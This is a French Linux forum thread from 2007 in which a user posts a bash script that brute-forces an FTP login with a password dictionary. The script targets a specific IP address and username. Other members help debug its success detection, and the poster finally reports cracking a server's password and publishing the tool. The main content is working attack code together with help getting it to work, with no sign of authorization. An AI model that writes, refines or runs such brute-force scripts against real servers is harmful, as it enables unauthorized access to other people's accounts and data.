Léa-Linux & amis :   LinuxFR   GCU-Squad   GNU
Script bash de crack mot de passe FTP
Envoyé par: YuGiOhJCJ

Bonjour,
je viens de créer un script bash de hack FTP qui fonctionne parfaitement jusqu'à ce qu'à un moment l'erreur suivante s'affiche :
No control connection for command: Illegal seek
Avec google j'ai pas trouvé grand chose sur ce problème...Pouvez-vous m'aider?
Voici le script :
#!/bin/bash

IP="212.27.63.3"
COMMAND="ftp"
DICTIONARY="dico-fr-10.txt"
NBRTEST="1"
LOGIN="coquerico"

while [ "1" == "1" ]; do

	WORD="$(cat ${DICTIONARY} | awk -v nbrtest=$NBRTEST 'NR == nbrtest {print;}')"
	echo "Test du mot de passe n°${NBRTEST} (${WORD})"

	# Création du fichier .netrc
	echo "machine ${IP}" > .netrc
	echo "login ${LOGIN}" >> .netrc
	echo "password ${WORD}" >> .netrc

	# Connexion au serveur
	RETURN="$(./crack-ftp-connexion.sh ${IP})"
	echo "Return value: '${RETURN}'"

	# Si le mot de passe est incorrect, passer au mot suivant
	if [ "${RETURN}" == "Login incorrect. [677]" ]; then
		NBRTEST=$((NBRTEST+1))
		else
			echo "Mot de passe trouvé : ${WORD}"
		exit
	fi
done
echo "Terminé!"
exit
Et voici le script de connexion qui est appelé :
#!/bin/bash

# Connexion au serveur
ftp << **
open ${1}
bye
**
J'espère que vous pourrez m'aider... Mon script s'arrête dès qu'il rencontre cette erreur car aucune valeur de retour n'est envoyé par 'ftp' et donc il croit que le mot de passe a été trouvé.
Merci.

Remarque : le script de base sur un dictionnaire au format txt (je ne l'inlue pas smiling smiley il est trop long bien sûr).

---

[yugiohjcj.cf]

Poste le Monday 30 July 2007 17:24:41
Répondre     Citer    
Re: Script bash de crack mot de passe FTP
Envoyé par: Sve@r

Citation
YuGiOhJCJ
Bonjour,
je viens de créer un script bash de hack FTP qui
fonctionne parfaitement jusqu'à ce qu'à un moment
l'erreur suivante s'affiche :
No control connection for command: Illegal seek
Avec google j'ai pas trouvé grand chose sur ce
problème...Pouvez-vous m'aider?
Voici le script :
#!/bin/bash

IP="212.27.63.3"
COMMAND="ftp"
DICTIONARY="dico-fr-10.txt"
NBRTEST="1"
LOGIN="coquerico"

while [ "1" == "1" ]; do

WORD="$(cat ${DICTIONARY} | awk -v
nbrtest=$NBRTEST 'NR == nbrtest {print;}')"
echo "Test du mot de passe n°${NBRTEST}
(${WORD})"

# Création du fichier .netrc
echo "machine ${IP}" > .netrc
echo "login ${LOGIN}" >> .netrc
echo "password ${WORD}" >> .netrc

# Connexion au serveur
RETURN="$(./crack-ftp-connexion.sh ${IP})"
echo "Return value: '${RETURN}'"

# Si le mot de passe est incorrect, passer au mot
suivant
if [ "${RETURN}" == "Login incorrect. [677]" ];
then
NBRTEST=$((NBRTEST+1))
else
echo "Mot de passe trouvé : ${WORD}"
exit
fi
done
echo "Terminé!"
exit
Et voici le script de connexion qui est appelé
:
#!/bin/bash

# Connexion au serveur
ftp << **
open ${1}
bye

J'espère que vous pourrez m'aider... Mon script s'arrête dès qu'il rencontre cette erreur car
aucune valeur de retour n'est envoyé par 'ftp' et donc il croit que le mot de passe a été trouvé.
Ben oui. Tu as indiqué que le mot de passe n'était pas trouvé si RETURN = Login incorrect. Comme la variable en question n'est pas égale à cette chaîne, il croit que le mot de passe a été trouvé. Tu aurais pu t'en apercevoir tout seul surtout que t'as réussi à analyser la cause du pb !!!

Remplace
if [ "${RETURN}" == "Login incorrect. [677]" ]

par
if [ -z "${RETURN}" -o "${RETURN}" == "Login incorrect. [677]" ]
Là, tu vérifies en plus si "RETURN" est vide...

PS: Quand je vois "while [ 1 == 1 ]" à la place de "while true" et "exit" là où un "break" suffirait, je me dis que le programmeur ne doit pas être une brute du shell...



L'homme qui murmurait à l'oreille des pingouins
[fr.lang.free.fr]

Poste le Monday 30 July 2007 20:02:43
Répondre     Citer    
Re: Script bash de crack mot de passe FTP
Envoyé par: YuGiOhJCJ

Je crois que tu n'a pas compris le problème je me suis peut être mal exprimé.
Effectivement, le souci c'est que dans les 2 cas suivants :
-S'il y a l'erreur dont je ne connais pas l'origine
-Si le mot de passe est le bon
On me retourne la même valeur : aucune.
Donc comment arriver à continuer même si l'erreur ci-dessus s'affiche mais toujours s'arrêter s'il trouve le bon mot de passe?
Sinon, merci pour tes quelques remarques :-)

---

[yugiohjcj.cf]

Poste le Monday 30 July 2007 21:15:47
Répondre     Citer    
Re: Script bash de crack mot de passe FTP
Envoyé par: Sve@r

Citation
YuGiOhJCJ
Effectivement, le souci c'est que dans les 2 cas
suivants :
-S'il y a l'erreur dont je ne connais pas
l'origine
-Si le mot de passe est le bon
Exact. Mais le contenu de ton status (variable $?) est probablment différent de 0 dans le cas n° 1. Donc, si cette hypothèse est vraie (à vérifier), tu peux remplacer ce code
# Connexion au serveur
RETURN="$(./crack-ftp-connexion.sh ${IP})"
echo "Return value: '${RETURN}'"

# Si le mot de passe est incorrect, passer au mot suivant
if [ "${RETURN}" == "Login incorrect. [677]" ];
then
...

Par celui-là
# Connexion au serveur
RETURN="$(./crack-ftp-connexion.sh ${IP})"; status=$?
echo "Return value: '${RETURN}' - Status value: '$status'"

# Si la commande a échouée, passer au mot suivant
if [ $status -ne 0 ];
then
...
J'ai conservé la variable "RETURN" qui te permet de voir ce que ta commande a affiché mais elle ne sert probablement plus à rien dans l'algo de crack. Donc si c'est le cas, on peut directement écrire
# Connexion au serveur
./crack-ftp-connexion.sh ${IP} 1>/dev/null 2>&1; status=$?
echo "Status value: '$status'"

Citation
YuGiOhJCJ
On me retourne la même valeur : aucune.
Ne pas confondre "valeur retournée" (qui n'est en fait que la récupération de ce qu'affiche la commande) et "status"
Une commande peut ne rien afficher mais elle a toujours un status
Ex:
rm -f dqdqsdqs 2>/dev/null => n'affiche rien
echo $? => Valeur de "$?" => 1 => erreur dans la commande précédente


L'homme qui murmurait à l'oreille des pingouins
[fr.lang.free.fr]

Poste le Monday 30 July 2007 21:47:22
Répondre     Citer    
Re: Script bash de crack mot de passe FTP
Envoyé par: YuGiOhJCJ

OK... Dommage la valeur retournée même en cas d'erreur est 0... Donc c'est pas la solution.
...
Return value: 'Login incorrect. [677]' - Status value = 0
Test du mot de passe n°297 (abonderas)
Login failed.
Return value: 'Login incorrect. [677]' - Status value = 0
Test du mot de passe n°298 (abondèrent)
Login failed.
No control connection for command: Illegal seek
Return value: '' - Status value = 0
Mot de passe trouvé : abondèrent
Une autre idée?

---

[yugiohjcj.cf]

Poste le Tuesday 31 July 2007 01:47:48
Répondre     Citer    
Re: Script bash de crack mot de passe FTP
Envoyé par: francoisp

tout script sur ftp doit chercher la chaine numéraire 677 et rien d'autre à cause des traductions dans diverses langues d'auter part utiliser le dico francais seulement est idiot pour cette même raison.

Poste le Tuesday 31 July 2007 07:25:19
Répondre     Citer    
Re: Script bash de crack mot de passe FTP
Envoyé par: YuGiOhJCJ

Merci pour cette info mais ce script est pour un usage personnel, si je compte le publier je modifirai ça.
Sinon Problème résolu ;-)
J'ai tout simplement changé de client ftp. Au lieu de 'ftp' j'utilise 'lftp' qui lui ne me retourne pas d'erreur (du moins, après plus de 6000 mots de passe testés).

---

[yugiohjcj.cf]

Poste le Tuesday 31 July 2007 15:01:40
Répondre     Citer    
Re: Script bash de crack mot de passe FTP
Envoyé par: Sve@r

Citation
YuGiOhJCJ
Merci pour cette info mais ce script est pour un usage personnel, si je compte le publier je modifirai ça.
C'est en effet facile à faire
Remplacer
# Si le mot de passe est incorrect, passer au mot suivant
if [ "${RETURN}" == "Login incorrect. [677]" ];
then
...
par
# Si le mot de passe est incorrect, passer au mot suivant
if echo "$RETURN" |grep "[677]" 1>/dev/null
then
...

Citation
YuGiOhJCJ
Sinon Problème résolu
J'ai tout simplement changé de client ftp. Au lieu de 'ftp' j'utilise 'lftp' qui lui ne me retourne
pas d'erreur (du moins, après plus de 6000 mots de passe testés).
Ben tant-mieux parce que j'avais pas d'autre solution. Si rien ne différencie un mot de passe trouvé d'une erreur inconnue, alors rien ne te permettra de programmer l'algo de recherche...


L'homme qui murmurait à l'oreille des pingouins
[fr.lang.free.fr]

Poste le Tuesday 31 July 2007 16:04:45
Répondre     Citer    
Re: Script bash de crack mot de passe FTP
Envoyé par: YuGiOhJCJ

Mon script fonctionne.
Je viens de récupérer le mot de passe d'un serveur FTP grâce à lui.
Il suffit d'avoir un bon dictionnaire (effectivement avec des mots français ça n'avait pas fonctionné!).
Pour ceux que ça intéresse, je viens de le publier sur mon site personnel :
[yugiohjcj.free.fr]
Faites en bon usage xD

---

[yugiohjcj.cf]

Poste le Saturday 4 August 2007 23:25:05
Répondre     Citer    

Veuillez vous authentifier auparavant pour commenter.

 

Ce forum !
Script bash de crack mot de passe FTP
Pour poser vos questions sur les scripts shell, le Perl, le C, etc... Attention : nous ne sommes pas des spécialistes du dev, ce forum est juste pour de petites aides ponctuelles concernant le développement et les outils de développement.

Sauf mention contraire, les documentations publiées sont sous licence Creative-Commons